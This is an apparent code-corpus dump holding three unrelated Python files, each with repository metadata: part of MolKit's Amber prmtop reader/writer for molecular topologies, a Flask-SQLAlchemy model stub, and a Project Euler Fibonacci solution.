taH3.append(-(atomNum[2]-1)*3 ) taH4.append(-(atomNum[3]-1)*3 ) tHnum.append(newType) else: ta1.append( (atomNum[0]-1)*3 ) ta2.append( (atomNum[1]-1)*3 ) ta3.append(-(atomNum[2]-1)*3 ) ta4.append(-(atomNum[3]-1)*3 ) tnum.append(newType) return foundDihedTypes def getTopology(self, allAtoms, parmDict): dict = self.prmDict dict['ititl'] = allAtoms.top.uniq()[0].name + '.prmtop\n' natom = dict['Natom'] = len(allAtoms) dict['Nat3'] = natom * 3 dict['AtomNames'] = '' dict['AtomSym'] = '' dict['AtomTree'] = '' dict['Ntypes'] = 0 dict['Natyp'] = 0 dict['Ntype2d'] = 0 dict['Nttyp'] = 0 dict['Masses'] = [] dict['Charges'] = [] dict['Nres'] = 0 dict['AtomRes'] = [] dict['ResNames'] = '' dict['Ipres'] = [1] dict['Nmxrs'] = 0 ###1/10: dict['Iac'] = [] self.uniqTypeList = [] #used for construction of Natyp self.atypList = [] # fill get all arrays that are of len natom # we have to call for each chain for ch in self.chains: self.processChain( ch.residues, parmDict) #PAD AtomNames with 81 spaces dict['AtomNames'] = dict['AtomNames'] + 81*' ' dict['AtomSym'] = dict['AtomSym'] + 81*' ' dict['AtomTree'] = dict['AtomTree'] + 81*' ' dict['ResNames'] = dict['ResNames'] + 81*' ' # create Iac list #iac = [] #tl = self.uniqTypeList #for a in allAtoms: # iac.append( tl.index(a.amber_symbol) + 1 ) # delattr(a, 'amber_symbol') #dict['Iac'] = iac # to find out the number of bonds with hydrogen we simply count the # number of hydrogen atoms hlist = allAtoms.get(lambda x: x.element=='H') if hlist is not None and len(hlist): dict['Nbonh'] = numHs = len(hlist) else: numHs = 0 # number of bonds not involving an H atom bonds = allAtoms.bonds[0] dict['Mbona'] = len(bonds) - numHs # since no bonds are constrined, Nbona==Mbona dict['Nbona'] = dict['Mbona'] print 'after call to processChain' # new process bond info dict['BondAt1'] = [] dict['BondAt2'] = [] dict['BondNum'] = [] dict['BondHAt1'] = [] dict['BondHAt2'] = [] dict['BondHNum'] = [] dict['Rk'] = [] dict['Req'] = [] self.processBonds(bonds, parmDict) print 'after call to processBonds' # now process the angles dict['AngleAt1'] = [] dict['AngleAt2'] = [] dict['AngleAt3'] = [] dict['AngleNum'] = [] dict['AngleHAt1'] = [] dict['AngleHAt2'] = [] dict['AngleHAt3'] = [] dict['AngleHNum'] = [] dict['Tk'] = [] dict['Teq'] = [] self.processAngles(allAtoms, parmDict) print 'after call to processAngles' # now handle the torsions dict['Nhparm'] = 0 dict['Nparm'] = 0 dict['DihAt1'] = [] dict['DihAt2'] = [] dict['DihAt3'] = [] dict['DihAt4'] = [] dict['DihNum'] = [] dict['DihHAt1'] = [] dict['DihHAt2'] = [] dict['DihHAt3'] = [] dict['DihHAt4'] = [] dict['DihHNum'] = [] dict['Pn'] = [] dict['Pk'] = [] dict['Phase'] = [] dict['Nphih'] = dict['Mphia'] = dict['Nphia'] = dict['Nptra'] = 0 dict['N14pairs'] = [] dict['N14pairlist'] = [] dict['Nnb'] =0 dict['Iblo'] = [] dict['ExclAt'] = [] # FIXME self.AA5rings ={ 'PRO':['N', 'CA', 'CB', 'CG', 'CD'], 'TRP':['CG', 'CD1', 'CD2', 'NE1', 'CE2'], 'HID':['CG', 'ND1', 'CE1', 'NE2', 'CD2'], 'HIE':['CG', 'ND1', 'CE1', 'NE2', 'CD2'], 'HIP':['CG', 'ND1', 'CE1', 'NE2', 'CD2'] } self.processTorsions(allAtoms, parmDict) print 'after call to processTorsions' # some unused values dict['Nspm'] = 1 dict['Box'] = [0., 0., 0.] dict['Boundary'] = [natom] dict['TreeJoin'] = range(natom) dict['Nphb'] = 0 dict['HB12'] = [] dict['HB10'] = [] llist = ['Ifpert', 'Nbper','Ngper','Ndper','Mbper', 'Mgper', 'Mdper','IfBox', 'IfCap', 'Cutcap', 'Xcap', 'Ycap', 'Zcap', 'Natcap','Ipatm', 'Nspsol','Iptres'] for item in llist: dict[item] = 0 dict['Cno'] = self.getICO( dict['Ntypes'] ) dict['Solty'] = self.getSOLTY( dict['Natyp'] ) dict['Cn1'], dict['Cn2'] = self.getCNList(parmDict) return def getICO(self, ntypes): ct = 1 icoArray = Numeric.zeros((ntypes, ntypes), 'i') for i in range(1, ntypes+1): for j in range(1, i+1): icoArray[i-1,j-1]=ct icoArray[j-1,i-1]=ct ct = ct+1 return icoArray.ravel().tolist() def getSOLTY(self, ntypes): soltyList = [] for i in range(ntypes): soltyList.append(0.) return soltyList def getCN(self, type1, type2, pow, parmDict, factor=1): #pow is 12 or 6 #factor is 1 except when pow is 6 d = parmDict.potParam if type1=='N3': type1='N ' if type2=='N3': type2='N ' r1, eps1 = d[type1][:2] r2, eps2 = d[type2][:2] eps = sqrt(eps1*eps2) rij = r1 + r2 newval = factor*eps*rij**pow return newval def getCNList(self, parmDict): ntypes = len(self.uniqTypeList) ct = 1 ## size = self.prmDict['Nttyp'] ## cn1List = [0]*size ## cn2List = [0]*size ## iac = self.prmDict['Iac'] ## cno = self.prmDict['Cno'] ## for i in range(ntypes): ## indi = i*ntypes ## ival = self.uniqTypeList[i] ## for j in range(i, ntypes): ## jval = self.uniqTypeList[j] ## ind = cno[indi+j]-1 ## cn1List[ind] = self.getCN(jval, ival, 12, parmDict) ## cn2List[ind] = self.getCN(jval, ival, 6, parmDict, 2) nttyp = self.prmDict['Nttyp'] cn1List = [] cn2List = [] for j in range(ntypes): jval = self.uniqTypeList[j] for i in range(j+1): ival = self.uniqTypeList[i] cn1List.append(self.getCN(ival, jval, 12, parmDict)) cn2List.append(self.getCN(ival, jval, 6, parmDict, 2)) return cn1List, cn2List def readSummary(self, allLines, dict): #set summary numbers ll = split(allLines[1]) assert len(ll)==12 #FIX THESE NAMES! natom = dict['Natom'] = int(ll[0]) ntypes = dict['Ntypes'] = int(ll[1]) nbonh = dict['Nbonh'] = int(ll[2]) dict['Mbona'] = int(ll[3]) ntheth = dict['Ntheth'] = int(ll[4]) dict['Mtheta'] = int(ll[5]) nphih = dict['Nphih'] = int(ll[6]) dict['Mphia'] = int(ll[7]) dict['Nhparm'] = int(ll[8]) dict['Nparm'] = int(ll[9]) #called 'next' in some documentation #NEXT-> Nnb next = dict['Nnb'] = int(ll[10]) dict['Nres'] = int(ll[11]) ll = split(allLines[2]) assert len(ll)==12 nbona = dict['Nbona'] = int(ll[0]) ntheta = dict['Ntheta'] = int(ll[1]) nphia = dict['Nphia'] = int(ll[2]) numbnd = dict['Numbnd'] = int(ll[3]) numang = dict['Numang'] = int(ll[4]) numptra = dict['Nptra'] = int(ll[5]) natyp = dict['Natyp'] = int(ll[6]) dict['Nphb'] = int(ll[7]) dict['Ifpert'] = int(ll[8]) dict['Nbper'] = int(ll[9]) dict['Ngper'] = int(ll[10]) dict['Ndper'] = int(ll[11]) ll = split(allLines[3]) assert len(ll)==6 dict['Mbper'] = int(ll[0]) dict['Mgper'] = int(ll[1]) dict['Mdper'] = int(ll[2]) dict['IfBox'] = int(ll[3]) dict['Nmxrs'] = int(ll[4]) dict['IfCap'] = int(ll[5]) return dict def readIGRAPH(self, allLines, numIGRAPH, ind=3): #the names are not necessarily whitespace delimited igraph = [] for i in range(numIGRAPH): ind = ind + 1 l = allLines[ind] for k in range(20): it = l[k*4:k*4+4] igraph.append(strip(it)) #igraph.extend(split(l)) return igraph, ind def readCHRG(self, allLines, ind, numCHRG, natom): chrg = [] ct = 0 for i in range(numCHRG): ind = ind + 1 l = allLines[ind] newl = [] # build 5 charges per line if enough are left #otherwise, build the last line's worth if natom - ct >=5: rct = 5 else: rct = natom - ct for q in range(rct): lindex = q*16 item = l[lindex:lindex+16] newl.append(float(item)) ct = ct + 1 chrg.extend(newl) return chrg, ind def readNUMEX(self, allLines, ind, numIAC): numex = [] NumexSUM = 0 for i in range(numIAC): ind = ind + 1 ll = split(allLines[ind]) newl = [] for item in ll: newent = int(item) newl.append(newent) NumexSUM = NumexSUM + newent numex.extend(newl) return numex, ind, NumexSUM def readLABRES(self, allLines, ind): done = 0 labres = [] while not done: ind = ind + 1 ll = split(allLines[ind]) try: int(ll[0]) done = 1 break except ValueError: labres.extend(ll) #correct for 1 extra line read here ind = ind - 1 return labres, ind def readFList(self, allLines, ind, numITEMS): v = [] for i in range(numITEMS): ind = ind + 1 ll = split(allLines[ind]) newl = [] for item in ll: newl.append(float(item)) v.extend(newl) return v, ind def readIList(self, allLines, ind, numITEMS): v = [] for i in range(numITEMS): ind = ind + 1 ll = split(allLines[ind]) newl = [] for item in ll: newl.append(int(item)) v.extend(newl) return v, ind def readILList(self, allLines, ind, numITEMS, n): bhlist = [] for i in range(n): bhlist.append([]) ct = 0 for i in range(numITEMS): ind = ind + 1 ll = split(allLines[ind]) for j in range(len(ll)): item = ll[j] newl = bhlist[ct%n] newl.append(int(item)) ct = ct + 1 return bhlist, ind def py_read(self, filename, **kw): #??dict['Iptres'] #dict['Nspsol'] #dict['Ipatm'] #dict['Natcap'] f = open(filename, 'r') allLines = f.readlines() f.close() dict = {} #set title dict['ititl'] = allLines[0] #get summary numbers dict = self.readSummary(allLines, dict) #set up convenience fields: natom = dict['Natom'] ntypes = dict['Ntypes'] dict['Nat3'] = natom * 3 dict['Ntype2d'] = ntypes ** 2 nttyp = dict['Nttyp'] = ntypes * (ntypes+1)/2 # read IGRAPH->AtomNames numIGRAPH = int(ceil((natom*1.)/20.)) anames, ind = self.readIGRAPH(allLines, numIGRAPH) dict['AtomNames'] = join(anames) # read CHRG->Charges numCHRG = int(ceil((natom*1.)/5.)) dict['Charges'], ind = self.readCHRG(allLines, ind, numCHRG, natom) # read AMASS **same number of lines as charges->Masses dict['Masses'], ind = self.readFList(allLines, ind, numCHRG) # read IAC **NOT same number of lines as IGRAPH 12!! numIAC = int(ceil((natom*1.)/12.)) dict['Iac'], ind = self.readIList(allLines, ind, numIAC) # read NUMEX **same number of lines as IAC dict['Iblo'], ind, NumexSUM = self.readNUMEX(allLines, ind, numIAC) # read ICO *Ntype2d/12 numICO = int(ceil((ntypes**2*1.0)/12.)) dict['Cno'], ind = self.readIList(allLines, ind, numICO) ##NB this should be half of a matrix # read LABRES....no way to know how many dict['ResNames'], ind = self.readLABRES(allLines, ind) labres = dict['ResNames'] # read IPRES....depends on len of LABRES numIPRES = int(ceil((len(labres)*1.)/20.)) dict['Ipres'], ind = self.readIList(allLines, ind, numIPRES) # read RK + REQ-> depend on numbnd numbnd = dict['Numbnd'] numRK = int(ceil((numbnd*1.)/5.)) dict['Rk'], ind = self.readFList(allLines, ind, numRK) dict['Req'], ind = self.readFList(allLines, ind, numRK) # read TK + TEQ-> depend on numang numang = dict['Numang'] numTK = int(ceil((numang*1.)/5.)) dict['Tk'], ind = self.readFList(allLines, ind, numTK) dict['Teq'], ind = self.readFList(allLines, ind, numTK) # read PK, PN + PHASE-> depend on numptra nptra = dict['Nptra'] numPK = int(ceil((nptra*1.)/5.)) dict['Pk'], ind = self.readFList(allLines, ind, numPK) dict['Pn'], ind = self.readFList(allLines, ind, numPK) dict['Phase'], ind = self.readFList(allLines, ind, numPK) # read SOLTY natyp = dict['Natyp'] numSOLTY = int(ceil((natyp*1.)/5.)) dict['Solty'], ind = self.readFList(allLines, ind, numSOLTY) # read CN1 and CN2 numCN = int(ceil((nttyp*1.)/5.)) dict['Cn1'], ind = self.readFList(allLines, ind, numCN) dict['Cn2'], ind = self.readFList(allLines, ind, numCN) # read IBH, JBH, ICBH 12 nbonh = dict['Nbonh'] numIBH = int(ceil((nbonh*3.0)/12.)) [dict['BondHAt1'], dict['BondHAt2'], dict['BondHNum']], ind = \ self.readILList(allLines, ind, numIBH, 3) # read IB, JB, ICB 12 nbona = dict['Nbona'] numIB = int(ceil((nbona*3.0)/12.)) [dict['BondAt1'], dict['BondAt2'], dict['BondNum']], ind = \ self.readILList(allLines, ind, numIB, 3) # read ITH, JTH, KTH, ICTH 12 ntheth = dict['Ntheth'] numITH = int(ceil((ntheth*4.0)/12.)) [dict['AngleHAt1'], dict['AngleHAt2'], dict['AngleHAt3'],\ dict['AngleHNum']], ind = self.readILList(allLines, ind, numITH, 4) # read IT, JT, KT, ICT 12 ntheta = dict['Ntheta'] numIT = int(ceil((ntheta*4.0)/12.)) [dict['AngleAt1'], dict['AngleAt2'], dict['AngleAt3'],\ dict['AngleNum']], ind = self.readILList(allLines, ind, numIT, 4) # read IPH, JPH, KPH, LPH, ICPH 12 nphih = dict['Nphih'] numIPH = int(ceil((nphih*5.0)/12.)) [dict['DihHAt1'], dict['DihHAt2'], dict['DihHAt3'], dict['DihHAt4'],\ dict['DihHNum']], ind = self.readILList(allLines, ind, numIPH, 5) # read IP, JP, KP, LP, ICP 12 nphia = dict['Nphia'] numIP = int(ceil((nphia*5.0)/12.)) [dict['DihAt1'], dict['DihAt2'], dict['DihAt3'], dict['DihAt4'],\ dict['DihNum']], ind = self.readILList(allLines, ind, numIP, 5) # read NATEX 12 #FIX THIS: has to be the sum of previous entries numATEX = int(ceil((NumexSUM*1.0)/12.)) dict['ExclAt'], ind = self.readIList(allLines, ind, numATEX) # read CN1 and CN2 # skip ASOL # skip BSOL # skip HBCUT ind = ind + 3 # read ISYMBL 20 asym, ind = self.readIGRAPH(allLines, numIGRAPH, ind) dict['AtomSym'] = join(asym) # read ITREE 20 atree, ind = self.readIGRAPH(allLines, numIGRAPH, ind) dict['AtomTree'] = join(atree) return dict def makeList(self, llist, num): newL = [] for i in range(len(llist[0])): ni = [] for j in range(num): ni.append(llist[j][i]) newL.append(ni) return newL #functions to write self def write(self, filename, **kw): fptr = open(filename, 'w') dict = self.prmDict self.writeItitl(fptr, dict['ititl']) self.writeSummary(fptr) #WHAT ABOUT SOLTY??? self.writeString(fptr,dict['AtomNames'][:-81]) for k in ['Charges', 'Masses', 'Iac','Iblo','Cno']: item = dict[k] f = self.formatD[k] if f[2]: self.writeTupleList(fptr, item, f[0], f[1], f[2]) else: self.writeList(fptr, item, f[0], f[1]) self.writeString(fptr,dict['ResNames'][:-81]) self.writeList(fptr, dict['Ipres'][:-1], '%6d', 12 ) for k in ['Rk', 'Req', 'Tk', 'Teq', 'Pk', 'Pn', 'Phase', 'Solty', 'Cn1','Cn2']: item = dict[k] f = self.formatD[k] if f[2]: self.writeTupleList(fptr, item, f[0], f[1], f[2]) else: self.writeList(fptr, item, f[0], f[1]) #next write bnds angs and dihe allHBnds = zip(dict['BondHAt1'], dict['BondHAt2'], dict['BondHNum']) self.writeTupleList(fptr, allHBnds, "%6d", 12, 3) allBnds = zip(dict['BondAt1'], dict['BondAt2'], dict['BondNum']) self.writeTupleList(fptr, allBnds, "%6d", 12, 3) allHAngs = zip(dict['AngleHAt1'], dict['AngleHAt2'], dict['AngleHAt3'], dict['AngleHNum']) self.writeTupleList(fptr, allHAngs, "%6d", 12,4) allAngs = zip(dict['AngleAt1'], dict['AngleAt2'], dict['AngleAt3'], dict['AngleNum']) self.writeTupleList(fptr, allAngs, "%6d", 12, 4) allHDiHe = zip(dict['DihHAt1'], dict['DihHAt2'], dict['DihHAt3'], dict['DihHAt4'], dict['DihHNum']) self.writeTupleList(fptr, allHDiHe, "%6d", 12,5) allDiHe = zip(dict['DihAt1'], dict['DihAt2'], dict['DihAt3'], dict['DihAt4'], dict['DihNum']) self.writeTupleList(fptr, allDiHe, "%6d", 12, 5) self.writeList(fptr, dict['ExclAt'], '%6d', 12) fptr.write('\n') fptr.write('\n') fptr.write('\n') for k in ['AtomSym', 'AtomTree']: item = dict[k][:-81] self.writeString(fptr, item) zList = [] for i in range(dict['Natom']): zList.append(0) self.writeList(fptr, zList, "%6d", 12) self.writeList(fptr, zList, "%6d", 12) fptr.close() def writeString(self, fptr, item): n = int(ceil(len(item)/80.)) for p in range(n): if p!=n-1: fptr.write(item[p*80:(p+1)*80]+'\n') else: #write to the end, whereever it is fptr.write(item[p*80:]+'\n') def writeList(self, fptr, outList, formatStr="%4.4s", lineCt=12): ct = 0 s = "" nlformatStr = formatStr+'\n' lenList = len(outList) for i in range(lenList): #do something with outList[i] s = s + formatStr%outList[i] #ct is how many item are in s ct = ct + 1 #if line is full, write it and reset s and ct if ct%lineCt==0: s = s + '\n' fptr.write(s) s = "" ct = 0 #if last entry write it and exit elif i == lenList-1: s = s + '\n' fptr.write(s) break def writeTupleList(self, fptr, outList, formatStr="%4.4s", lineCt=12, ll=2): ct = 0 s = "" nlformatStr = formatStr+'\n' for i in range(len(outList)): if i==len(outList)-1: for k in range(ll): s = s + formatStr%outList[i][k] ct = ct + 1 if ct%lineCt==0: s = s + '\n' fptr.write(s) s = "" ct = 0 #after adding last entry, if anything left, print it if ct!=0: s = s + '\n' fptr.write(s) else: for k in range(ll): s = s + formatStr%outList[i][k] ct = ct + 1 if ct%lineCt==0: s = s + '\n' fptr.write(s) s = "" ct = 0 def writeItitl(self, fptr, ititl): fptr.write(ititl) def writeSummary(self, fptr): #SUMMARY #fptr.write('SUMMARY\n') ##FIX THESE NAMES!!! kL1 = ['Natom','Ntypes','Nbonh','Mbona',\ 'Ntheth','Mtheta','Nphih','Mphia','Nhparm',\ 'Nparm','Nnb','Nres'] kL2 = ['Nbona','Ntheta','Nphia','Numbnd',\ 'Numang','Nptra','Natyp','Nphb','Ifpert',\ 'Nbper','Ngper','Ndper'] kL3 = ['Mbper','Mgper','Mdper','IfBox','Nmxrs',\ 'IfCap'] for l in [kL1, kL2, kL3]: newL = [] for item in l: newL.append(self.prmDict[item]) #print 'newL=', newL self.writeList(fptr, newL, "%6d", 12) if __name__ == '__main__': # load a protein and build bonds from MolKit import Read p = Read('sff/testdir/p1H.pdb') p[0].buildBondsByDistance() # build an Amber parameter description objects from MolKit.amberPrmTop import ParameterDict pd = ParameterDict() from MolKit.amberPrmTop import Parm prm = Parm() prm.processAtoms(p.chains.residues.atoms)

34.037879

108

0.476167

6,089

53,916

4.200526

0.139924

0.009149

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0.013371

0.248505

0.185401

0.145169

0.127576

0.109982

0.102788

0

0.040112

0.384097

53,916

1,583

109

34.059381

0.730117

0.131686

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0.204064

0

0.081733

0.005265

0

0.000632

0.050353

0

null

0.000883

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null

0.013251

0

null

0

null

0

1

0

1

d211994f319cdf819a2e0d0b5d58c4101deb9cd5

418

py

Python

app/main/models/hello_db.py

ZenithClown/flask-docker-template

cf5949fb6f448dd73cc287842b5deb1d5f7bd321

[ "MIT" ]

null

app/main/models/hello_db.py

ZenithClown/flask-docker-template

cf5949fb6f448dd73cc287842b5deb1d5f7bd321

[ "MIT" ]

41

2021-09-01T17:31:47.000Z

2022-03-28T12:13:12.000Z

app/main/models/hello_db.py

ZenithClown/flask-docker-template

cf5949fb6f448dd73cc287842b5deb1d5f7bd321

[ "MIT" ]

1

2021-12-22T07:25:08.000Z

# -*- encoding: utf-8 -*- from .. import db from ._base_model import ModelSchema class HelloDB(db.Model, ModelSchema): """Use the Model to Establish a Connection to DB""" __tablename__ = "HelloDB" id = db.Column(db.Integer, primary_key = True, autoincrement = True, nullable = False) field = db.Column(db.String(255), nullable = False) def __init__(self): ModelSchema().__init__()

24.588235

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52

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0.634615

0.060837

0.076046

0

0.012048

0.205742

418

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94

26.125

0.78012

0.167464

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0

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0.125

false

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0.25

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0.875

0

null

0

null

0

1

0

1

d2162729fc2afb100ad7e2d7244982b56598a414

822

py

Python

scripts/problem0002.py

Joel301/Project_Euler

2280dc19b8e0a2c956cf0d6db6c7d24eedd5e943

[ "MIT" ]

null

scripts/problem0002.py

Joel301/Project_Euler

2280dc19b8e0a2c956cf0d6db6c7d24eedd5e943

[ "MIT" ]

null

scripts/problem0002.py

Joel301/Project_Euler

2280dc19b8e0a2c956cf0d6db6c7d24eedd5e943

[ "MIT" ]

null

#! python3 # -*- coding: utf-8 -*- """ Euler description from https://projecteuler.net/ Problem 0002 Each new term in the Fibonacci sequence is generated by adding the previous two terms. By starting with 1 and 2, the first 10 terms will be: 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ... By considering the terms in the Fibonacci sequence whose values do not exceed four million[4000000], find the sum of the even-valued terms. """ #fibonacci list generator def fibonacci(limit=89): lst = [1,2] n1, n2 = 1, 2 while(n2 < limit): n = n1 + n2 n1 = n2 n2 = n lst.append(n) return lst # main function same aproach as problem0001 def compute(v = 4000000): ans = sum(x for x in fibonacci(v) if x % 2 == 0) return ans if __name__ == "__main__": print(compute(4000000))

22.833333

79

0.644769

132

822

3.954545

0.621212

0.011494

0.05364

0.084291

0

0.106796

0.248175

822

35

80

23.485714

0.737864

0.585158

0

1

0

0.024242

0

1

0.142857

false

0

0.285714

0.071429

0

null

0

1

0

null

0

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